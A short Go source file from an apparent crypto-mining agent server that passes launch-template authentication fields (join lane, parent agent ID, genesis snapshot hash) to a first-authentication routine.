package api import ( "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadgenesis" ) type launchTemplateAuthProbe struct { JoinLane string ParentAgentID string GenesisSnapshotHash string } func applyLaunchTemplateGenesisFirstAuth(agent *models.Agent, isNewAgent bool, auth launchTemplateAuthProbe) { spreadgenesis.ApplyFirstAuth(agent, isNewAgent, spreadgenesis.AuthProbe{ JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash, }) }